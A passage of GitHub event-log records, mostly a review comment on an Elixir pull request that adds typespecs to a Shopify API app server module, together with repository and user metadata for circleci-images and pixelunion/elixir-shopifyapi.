images/pulls{/number}","milestones_url":"https://api.github.com/repos/circleci/circleci-images/milestones{/number}","notifications_url":"https://api.github.com/repos/circleci/circleci-images/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/circleci/circleci-images/labels{/name}","releases_url":"https://api.github.com/repos/circleci/circleci-images/releases{/id}","deployments_url":"https://api.github.com/repos/circleci/circleci-images/deployments","created_at":"2017-03-15T15:50:39Z","updated_at":"2019-05-16T09:39:43Z","pushed_at":"2019-05-20T22:15:06Z","git_url":"git://github.com/circleci/circleci-images.git","ssh_url":"git@github.com:circleci/circleci-images.git","clone_url":"https://github.com/circleci/circleci-images.git","svn_url":"https://github.com/circleci/circleci-images","homepage":"https://circleci.com/docs/2.0/circleci-images/","size":509,"stargazers_count":300,"watchers_count":300,"language":"Shell","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":139,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":18,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":139,"open_issues":18,"watchers":300,"default_branch":"staging"}},"base":{"label":"circleci:staging","ref":"staging","sha":"449b574889a80b9b6930420c28ef3519280d84f6","user":{"login":"circleci","id":1231870,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyMzE4NzA=","avatar_url":"https://avatars2.githubusercontent.com/u/1231870?v=4","gravatar_id":"","url":"https://api.github.com/users/circleci","html_url":"https://github.com/circleci","followers_url":"https://api.github.com/users/circleci/followers","following_url":"https://api.github.com/users/circleci/following{/other_user}","gists_url":"https://api.github.com/users/circleci/gists{/gist_id}","starred_url":"https://api.github.com/users/circleci/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/circleci/subscriptions","organizations_url":"https://api.github.com/users/circleci/orgs","repos_url":"https://api.github.com/users/circleci/repos","events_url":"https://api.github.com/users/circleci/events{/privacy}","received_events_url":"https://api.github.com/users/circleci/received_events","type":"Organization","site_admin":false},"repo":{"id":85091879,"node_id":"MDEwOlJlcG9zaXRvcnk4NTA5MTg3OQ==","name":"circleci-images","full_name":"circleci/circleci-images","private":false,"owner":{"login":"circleci","id":1231870,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyMzE4NzA=","avatar_url":"https://avatars2.githubusercontent.com/u/1231870?v=4","gravatar_id":"","url":"https://api.github.com/users/circleci","html_url":"https://github.com/circleci","followers_url":"https://api.github.com/users/circleci/followers","following_url":"https://api.github.com/users/circleci/following{/other_user}","gists_url":"https://api.github.com/users/circleci/gists{/gist_id}","starred_url":"https://api.github.com/users/circleci/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/circleci/subscriptions","organizations_url":"https://api.github.com/users/circleci/orgs","repos_url":"https://api.github.com/users/circleci/repos","events_url":"https://api.github.com/users/circleci/events{/privacy}","received_events_url":"https://api.github.com/users/circleci/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/circleci/circleci-images","description":"Scripts to generate images for building projects on CircleCI 2.0","fork":false,"url":"https://api.github.com/repos/circleci/circleci-images","forks_url":"https://api.github.com/repos/circleci/circleci-images/forks","keys_url":"https://api.github.com/repos/circleci/circleci-images/keys{/key_id}","collaborators_url":"https://api.github.com/repos/circleci/circleci-images/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/circleci/circleci-images/teams","hooks_url":"https://api.github.com/repos/circleci/circleci-images/hooks","issue_events_url":"https://api.github.com/repos/circleci/circleci-images/issues/events{/number}","events_url":"https://api.github.com/repos/circleci/circleci-images/events","assignees_url":"https://api.github.com/repos/circleci/circleci-images/assignees{/user}","branches_url":"https://api.github.com/repos/circleci/circleci-images/branches{/branch}","tags_url":"https://api.github.com/repos/circleci/circleci-images/tags","blobs_url":"https://api.github.com/repos/circleci/circleci-images/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/circleci/circleci-images/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/circleci/circleci-images/git/refs{/sha}","trees_url":"https://api.github.com/repos/circleci/circleci-images/git/trees{/sha}","statuses_url":"https://api.github.com/repos/circleci/circleci-images/statuses/{sha}","languages_url":"https://api.github.com/repos/circleci/circleci-images/languages","stargazers_url":"https://api.github.com/repos/circleci/circleci-images/stargazers","contributors_url":"https://api.github.com/repos/circleci/circleci-images/contributors","subscribers_url":"https://api.github.com/repos/circleci/circleci-images/subscribers","subscription_url":"https://api.github.com/repos/circleci/circleci-images/subscription","commits_url":"https://api.github.com/repos/circleci/circleci-images/commits{/sha}","git_commits_url":"https://api.github.com/repos/circleci/circleci-images/git/commits{/sha}","comments_url":"https://api.github.com/repos/circleci/circleci-images/comments{/number}","issue_comment_url":"https://api.github.com/repos/circleci/circleci-images/issues/comments{/number}","contents_url":"https://api.github.com/repos/circleci/circleci-images/contents/{+path}","compare_url":"https://api.github.com/repos/circleci/circleci-images/compare/{base}...{head}","merges_url":"https://api.github.com/repos/circleci/circleci-images/merges","archive_url":"https://api.github.com/repos/circleci/circleci-images/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/circleci/circleci-images/downloads","issues_url":"https://api.github.com/repos/circleci/circleci-images/issues{/number}","pulls_url":"https://api.github.com/repos/circleci/circleci-images/pulls{/number}","milestones_url":"https://api.github.com/repos/circleci/circleci-images/milestones{/number}","notifications_url":"https://api.github.com/repos/circleci/circleci-images/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/circleci/circleci-images/labels{/name}","releases_url":"https://api.github.com/repos/circleci/circleci-images/releases{/id}","deployments_url":"https://api.github.com/repos/circleci/circleci-images/deployments","created_at":"2017-03-15T15:50:39Z","updated_at":"2019-05-16T09:39:43Z","pushed_at":"2019-05-20T22:15:06Z","git_url":"git://github.com/circleci/circleci-images.git","ssh_url":"git@github.com:circleci/circleci-images.git","clone_url":"https://github.com/circleci/circleci-images.git","svn_url":"https://github.com/circleci/circleci-images","homepage":"https://circleci.com/docs/2.0/circleci-images/","size":509,"stargazers_count":300,"watchers_count":300,"language":"Shell","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":true,"forks_count":139,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":18,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":139,"open_issues":18,"watchers":300,"default_branch":"staging"}},"_links":{"self":{"href":"https://api.github.com/repos/circleci/circleci-images/pulls/396"},"html":{"href":"https://github.com/circleci/circleci-images/pull/396"},"issue":{"href":"https://api.github.com/repos/circleci/circleci-images/issues/396"},"comments":{"href":"https://api.github.com/repos/circleci/circleci-images/issues/396/comments"},"review_comments":{"href":"https://api.github.com/repos/circleci/circleci-images/pulls/396/comments"},"review_comment":{"href":"https://api.github.com/repos/circleci/circleci-images/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/circleci/circleci-images/pulls/396/commits"},"statuses":{"href":"https://api.github.com/repos/circleci/circleci-images/statuses/b254cf1930bf227bd14bfe89f86685ee5d069bb7"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 85091879,
"name": "circleci/circleci-images",
"url": "https://api.github.com/repos/circleci/circleci-images"
}
|
{
"id": 448001,
"login": "marcomorain",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/448001?",
"url": "https://api.github.com/users/marcomorain"
}
|
{
"id": 1231870,
"login": "circleci",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1231870?",
"url": "https://api.github.com/orgs/circleci"
}
| 2019-05-20T22:40:16 |
9663012384
|
{"actor":{"display_login":"marcomorain"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/pulls/comments/339185018","pull_request_review_id":307380523,"id":339185018,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMzOTE4NTAxOA==","diff_hunk":"@@ -10,14 +13,16 @@ defmodule ShopifyAPI.AppServer do\n GenServer.start_link(__MODULE__, %{}, name: @name)\n end\n \n+ @spec all :: map()\n def all, do: GenServer.call(@name, :all)\n \n+ @spec get(String.t()) :: {:ok, App.t()} | :error\n def get(name), do: GenServer.call(@name, {:get, name})\n \n @spec count :: integer\n def count, do: GenServer.call(@name, :count)\n \n- @spec set(%{:name => any, any => any}) :: atom\n+ @spec set(%{:name => any(), any() => any()}) :: atom()\n def set(%{name: name} = new_values), do: set(name, new_values)\n \n @spec set(String.t(), %{:name => any, any => any}) :: atom","path":"lib/shopify_api/app_server.ex","position":28,"original_position":28,"commit_id":"7a91080202b63fd3c17b83960a2f27ef07e694e1","original_commit_id":"7a91080202b63fd3c17b83960a2f27ef07e694e1","user":{"login":"freemer","id":12876750,"node_id":"MDQ6VXNlcjEyODc2NzUw","avatar_url":"https://avatars1.githubusercontent.com/u/12876750?v=4","gravatar_id":"","url":"https://api.github.com/users/freemer","html_url":"https://github.com/freemer","followers_url":"https://api.github.com/users/freemer/followers","following_url":"https://api.github.com/users/freemer/following{/other_user}","gists_url":"https://api.github.com/users/freemer/gists{/gist_id}","starred_url":"https://api.github.com/users/freemer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/freemer/subscriptions","organizations_url":"https://api.github.com/users/freemer/orgs","repos_url":"https://api.github.com/users/freemer/repos","events_url":"https://api.github.com/users/freemer/events{/privacy}","received_events_url":"https://api.github.com/users/freemer/received_events","type":"User","site_admin":false},"body":"Missed adding the `()` to `any` and `atom` on this one, ;)","created_at":"2019-10-25T18:31:04Z","updated_at":"2019-10-25T18:31:05Z","html_url":"https://github.com/pixelunion/elixir-shopifyapi/pull/236#discussion_r339185018","pull_request_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/pulls/236","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/pulls/comments/339185018"},"html":{"href":"https://github.com/pixelunion/elixir-shopifyapi/pull/236#discussion_r339185018"},"pull_request":{"href":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/pulls/236"}}},"pull_request":{"url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/pulls/236","id":319790031,"node_id":"MDExOlB1bGxSZXF1ZXN0MzE5NzkwMDMx","html_url":"https://github.com/pixelunion/elixir-shopifyapi/pull/236","diff_url":"https://github.com/pixelunion/elixir-shopifyapi/pull/236.diff","patch_url":"https://github.com/pixelunion/elixir-shopifyapi/pull/236.patch","issue_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/issues/236","number":236,"state":"open","locked":false,"title":"Feature/specs","user":{"login":"hez","id":244021,"node_id":"MDQ6VXNlcjI0NDAyMQ==","avatar_url":"https://avatars3.githubusercontent.com/u/244021?v=4","gravatar_id":"","url":"https://api.github.com/users/hez","html_url":"https://github.com/hez","followers_url":"https://api.github.com/users/hez/followers","following_url":"https://api.github.com/users/hez/following{/other_user}","gists_url":"https://api.github.com/users/hez/gists{/gist_id}","starred_url":"https://api.github.com/users/hez/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hez/subscriptions","organizations_url":"https://api.github.com/users/hez/orgs","repos_url":"https://api.github.com/users/hez/repos","events_url":"https://api.github.com/users/hez/events{/privacy}","received_events_url":"https://api.github.com/users/hez/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-09-20T16:12:24Z","updated_at":"2019-10-25T18:31:05Z","closed_at":null,"merged_at":null,"merge_commit_sha":"1c9f913e0832f07a4af971166810c996f2da4a89","assignee":null,"assignees":[],"requested_reviewers":[{"login":"gregdaynes","id":43543,"node_id":"MDQ6VXNlcjQzNTQz","avatar_url":"https://avatars0.githubusercontent.com/u/43543?v=4","gravatar_id":"","url":"https://api.github.com/users/gregdaynes","html_url":"https://github.com/gregdaynes","followers_url":"https://api.github.com/users/gregdaynes/followers","following_url":"https://api.github.com/users/gregdaynes/following{/other_user}","gists_url":"https://api.github.com/users/gregdaynes/gists{/gist_id}","starred_url":"https://api.github.com/users/gregdaynes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gregdaynes/subscriptions","organizations_url":"https://api.github.com/users/gregdaynes/orgs","repos_url":"https://api.github.com/users/gregdaynes/repos","events_url":"https://api.github.com/users/gregdaynes/events{/privacy}","received_events_url":"https://api.github.com/users/gregdaynes/received_events","type":"User","site_admin":false},{"login":"stewart","id":489142,"node_id":"MDQ6VXNlcjQ4OTE0Mg==","avatar_url":"https://avatars0.githubusercontent.com/u/489142?v=4","gravatar_id":"","url":"https://api.github.com/users/stewart","html_url":"https://github.com/stewart","followers_url":"https://api.github.com/users/stewart/followers","following_url":"https://api.github.com/users/stewart/following{/other_user}","gists_url":"https://api.github.com/users/stewart/gists{/gist_id}","starred_url":"https://api.github.com/users/stewart/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stewart/subscriptions","organizations_url":"https://api.github.com/users/stewart/orgs","repos_url":"https://api.github.com/users/stewart/repos","events_url":"https://api.github.com/users/stewart/events{/privacy}","received_events_url":"https://api.github.com/users/stewart/received_events","type":"User","site_admin":false},{"login":"apuello","id":4392881,"node_id":"MDQ6VXNlcjQzOTI4ODE=","avatar_url":"https://avatars2.githubusercontent.com/u/4392881?v=4","gravatar_id":"","url":"https://api.github.com/users/apuello","html_url":"https://github.com/apuello","followers_url":"https://api.github.com/users/apuello/followers","following_url":"https://api.github.com/users/apuello/following{/other_user}","gists_url":"https://api.github.com/users/apuello/gists{/gist_id}","starred_url":"https://api.github.com/users/apuello/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/apuello/subscriptions","organizations_url":"https://api.github.com/users/apuello/orgs","repos_url":"https://api.github.com/users/apuello/repos","events_url":"https://api.github.com/users/apuello/events{/privacy}","received_events_url":"https://api.github.com/users/apuello/received_events","type":"User","site_admin":false},{"login":"essmahr","id":5510974,"node_id":"MDQ6VXNlcjU1MTA5NzQ=","avatar_url":"https://avatars1.githubusercontent.com/u/5510974?v=4","gravatar_id":"","url":"https://api.github.com/users/essmahr","html_url":"https://github.com/essmahr","followers_url":"https://api.github.com/users/essmahr/followers","following_url":"https://api.github.com/users/essmahr/following{/other_user}","gists_url":"https://api.github.com/users/essmahr/gists{/gist_id}","starred_url":"https://api.github.com/users/essmahr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/essmahr/subscriptions","organizations_url":"https://api.github.com/users/essmahr/orgs","repos_url":"https://api.github.com/users/essmahr/repos","events_url":"https://api.github.com/users/essmahr/events{/privacy}","received_events_url":"https://api.github.com/users/essmahr/received_events","type":"User","site_admin":false},{"login":"akhtarja","id":9556945,"node_id":"MDQ6VXNlcjk1NTY5NDU=","avatar_url":"https://avatars3.githubusercontent.com/u/9556945?v=4","gravatar_id":"","url":"https://api.github.com/users/akhtarja","html_url":"https://github.com/akhtarja","followers_url":"https://api.github.com/users/akhtarja/followers","following_url":"https://api.github.com/users/akhtarja/following{/other_user}","gists_url":"https://api.github.com/users/akhtarja/gists{/gist_id}","starred_url":"https://api.github.com/users/akhtarja/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akhtarja/subscriptions","organizations_url":"https://api.github.com/users/akhtarja/orgs","repos_url":"https://api.github.com/users/akhtarja/repos","events_url":"https://api.github.com/users/akhtarja/events{/privacy}","received_events_url":"https://api.github.com/users/akhtarja/received_events","type":"User","site_admin":false},{"login":"MarkZsombor","id":30327457,"node_id":"MDQ6VXNlcjMwMzI3NDU3","avatar_url":"https://avatars0.githubusercontent.com/u/30327457?v=4","gravatar_id":"","url":"https://api.github.com/users/MarkZsombor","html_url":"https://github.com/MarkZsombor","followers_url":"https://api.github.com/users/MarkZsombor/followers","following_url":"https://api.github.com/users/MarkZsombor/following{/other_user}","gists_url":"https://api.github.com/users/MarkZsombor/gists{/gist_id}","starred_url":"https://api.github.com/users/MarkZsombor/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MarkZsombor/subscriptions","organizations_url":"https://api.github.com/users/MarkZsombor/orgs","repos_url":"https://api.github.com/users/MarkZsombor/repos","events_url":"https://api.github.com/users/MarkZsombor/events{/privacy}","received_events_url":"https://api.github.com/users/MarkZsombor/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/pulls/236/commits","review_comments_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/pulls/236/comments","review_comment_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/pulls/comments{/number}","comments_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/issues/236/comments","statuses_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/statuses/7a91080202b63fd3c17b83960a2f27ef07e694e1","head":{"label":"pixelunion:feature/specs","ref":"feature/specs","sha":"7a91080202b63fd3c17b83960a2f27ef07e694e1","user":{"login":"pixelunion","id":1245801,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyNDU4MDE=","avatar_url":"https://avatars1.githubusercontent.com/u/1245801?v=4","gravatar_id":"","url":"https://api.github.com/users/pixelunion","html_url":"https://github.com/pixelunion","followers_url":"https://api.github.com/users/pixelunion/followers","following_url":"https://api.github.com/users/pixelunion/following{/other_user}","gists_url":"https://api.github.com/users/pixelunion/gists{/gist_id}","starred_url":"https://api.github.com/users/pixelunion/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pixelunion/subscriptions","organizations_url":"https://api.github.com/users/pixelunion/orgs","repos_url":"https://api.github.com/users/pixelunion/repos","events_url":"https://api.github.com/users/pixelunion/events{/privacy}","received_events_url":"https://api.github.com/users/pixelunion/received_events","type":"Organization","site_admin":false},"repo":{"id":129816247,"node_id":"MDEwOlJlcG9zaXRvcnkxMjk4MTYyNDc=","name":"elixir-shopifyapi","full_name":"pixelunion/elixir-shopifyapi","private":false,"owner":{"login":"pixelunion","id":1245801,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyNDU4MDE=","avatar_url":"https://avatars1.githubusercontent.com/u/1245801?v=4","gravatar_id":"","url":"https://api.github.com/users/pixelunion","html_url":"https://github.com/pixelunion","followers_url":"https://api.github.com/users/pixelunion/followers","following_url":"https://api.github.com/users/pixelunion/following{/other_user}","gists_url":"https://api.github.com/users/pixelunion/gists{/gist_id}","starred_url":"https://api.github.com/users/pixelunion/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pixelunion/subscriptions","organizations_url":"https://api.github.com/users/pixelunion/orgs","repos_url":"https://api.github.com/users/pixelunion/repos","events_url":"https://api.github.com/users/pixelunion/events{/privacy}","received_events_url":"https://api.github.com/users/pixelunion/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/pixelunion/elixir-shopifyapi","description":null,"fork":false,"url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi","forks_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/forks","keys_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/keys{/key_id}","collaborators_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/teams","hooks_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/hooks","issue_events_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/issues/events{/number}","events_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/events","assignees_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/assignees{/user}","branches_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/branches{/branch}","tags_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/tags","blobs_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/git/refs{/sha}","trees_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/git/trees{/sha}","statuses_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/statuses/{sha}","languages_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/languages","stargazers_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/stargazers","contributors_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/contributors","subscribers_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/subscribers","subscription_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/subscription","commits_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/commits{/sha}","git_commits_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/git/commits{/sha}","comments_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/comments{/number}","issue_comment_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/issues/comments{/number}","contents_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/contents/{+path}","compare_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/compare/{base}...{head}","merges_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/merges","archive_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/downloads","issues_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/issues{/number}","pulls_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/pulls{/number}","milestones_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/milestones{/number}","notifications_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/labels{/name}","releases_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/releases{/id}","deployments_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/deployments","created_at":"2018-04-16T23:03:03Z","updated_at":"2019-10-25T00:00:58Z","pushed_at":"2019-10-25T16:06:01Z","git_url":"git://github.com/pixelunion/elixir-shopifyapi.git","ssh_url":"git@github.com:pixelunion/elixir-shopifyapi.git","clone_url":"https://github.com/pixelunion/elixir-shopifyapi.git","svn_url":"https://github.com/pixelunion/elixir-shopifyapi","homepage":null,"size":595,"stargazers_count":4,"watchers_count":4,"language":"Elixir","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":2,"watchers":4,"default_branch":"master"}},"base":{"label":"pixelunion:master","ref":"master","sha":"d4e356167c87042390b983c6b8e8678d7817d811","user":{"login":"pixelunion","id":1245801,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyNDU4MDE=","avatar_url":"https://avatars1.githubusercontent.com/u/1245801?v=4","gravatar_id":"","url":"https://api.github.com/users/pixelunion","html_url":"https://github.com/pixelunion","followers_url":"https://api.github.com/users/pixelunion/followers","following_url":"https://api.github.com/users/pixelunion/following{/other_user}","gists_url":"https://api.github.com/users/pixelunion/gists{/gist_id}","starred_url":"https://api.github.com/users/pixelunion/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pixelunion/subscriptions","organizations_url":"https://api.github.com/users/pixelunion/orgs","repos_url":"https://api.github.com/users/pixelunion/repos","events_url":"https://api.github.com/users/pixelunion/events{/privacy}","received_events_url":"https://api.github.com/users/pixelunion/received_events","type":"Organization","site_admin":false},"repo":{"id":129816247,"node_id":"MDEwOlJlcG9zaXRvcnkxMjk4MTYyNDc=","name":"elixir-shopifyapi","full_name":"pixelunion/elixir-shopifyapi","private":false,"owner":{"login":"pixelunion","id":1245801,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyNDU4MDE=","avatar_url":"https://avatars1.githubusercontent.com/u/1245801?v=4","gravatar_id":"","url":"https://api.github.com/users/pixelunion","html_url":"https://github.com/pixelunion","followers_url":"https://api.github.com/users/pixelunion/followers","following_url":"https://api.github.com/users/pixelunion/following{/other_user}","gists_url":"https://api.github.com/users/pixelunion/gists{/gist_id}","starred_url":"https://api.github.com/users/pixelunion/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pixelunion/subscriptions","organizations_url":"https://api.github.com/users/pixelunion/orgs","repos_url":"https://api.github.com/users/pixelunion/repos","events_url":"https://api.github.com/users/pixelunion/events{/privacy}","received_events_url":"https://api.github.com/users/pixelunion/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/pixelunion/elixir-shopifyapi","description":null,"fork":false,"url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi","forks_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/forks","keys_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/keys{/key_id}","collaborators_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/teams","hooks_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/hooks","issue_events_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/issues/events{/number}","events_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/events","assignees_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/assignees{/user}","branches_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/branches{/branch}","tags_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/tags","blobs_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/git/refs{/sha}","trees_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/git/trees{/sha}","statuses_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/statuses/{sha}","languages_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/languages","stargazers_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/stargazers","contributors_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/contributors","subscribers_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/subscribers","subscription_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/subscription","commits_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/commits{/sha}","git_commits_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/git/commits{/sha}","comments_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/comments{/number}","issue_comment_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/issues/comments{/number}","contents_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/contents/{+path}","compare_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/compare/{base}...{head}","merges_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/merges","archive_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/downloads","issues_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/issues{/number}","pulls_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/pulls{/number}","milestones_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/milestones{/number}","notifications_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/labels{/name}","releases_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/releases{/id}","deployments_url":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/deployments","created_at":"2018-04-16T23:03:03Z","updated_at":"2019-10-25T00:00:58Z","pushed_at":"2019-10-25T16:06:01Z","git_url":"git://github.com/pixelunion/elixir-shopifyapi.git","ssh_url":"git@github.com:pixelunion/elixir-shopifyapi.git","clone_url":"https://github.com/pixelunion/elixir-shopifyapi.git","svn_url":"https://github.com/pixelunion/elixir-shopifyapi","homepage":null,"size":595,"stargazers_count":4,"watchers_count":4,"language":"Elixir","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":2,"watchers":4,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/pulls/236"},"html":{"href":"https://github.com/pixelunion/elixir-shopifyapi/pull/236"},"issue":{"href":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/issues/236"},"comments":{"href":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/issues/236/comments"},"review_comments":{"href":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/pulls/236/comments"},"review_comment":{"href":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/pulls/236/commits"},"statuses":{"href":"https://api.github.com/repos/pixelunion/elixir-shopifyapi/statuses/7a91080202b63fd3c17b83960a2f27ef07e694e1"}},"author_association":"COLLABORATOR"}}
|
{
"id": 129816247,
"name": "pixelunion/elixir-shopifyapi",
"url": "https://api.github.com/repos/pixelunion/elixir-shopifyapi"
}
|
{
"id": 12876750,
"login": "freemer",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/12876750?",
"url": "https://api.github.com/users/freemer"
}
|
{
"id": 1245801,
"login": "pixelunion",
"gravatar_id": "",
